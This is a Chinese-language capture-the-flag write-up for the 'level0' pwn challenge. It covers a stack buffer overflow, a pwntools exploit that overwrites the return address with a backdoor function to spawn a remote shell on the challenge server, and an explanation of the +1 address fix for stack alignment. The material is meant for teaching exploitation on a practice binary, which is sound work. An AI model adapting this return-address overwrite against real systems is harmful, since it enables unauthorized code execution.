目录
一、分析
查看文件信息

关键信息
- 64位程序
- 栈不可执行
IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数
二、EXP
csharp
from pwn import *
context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))
p.interactive()
三、本地打不通?远程能打通?
修改代码处
csharp
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))
为什么地址地址 + 1就可以执行了呢?
64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐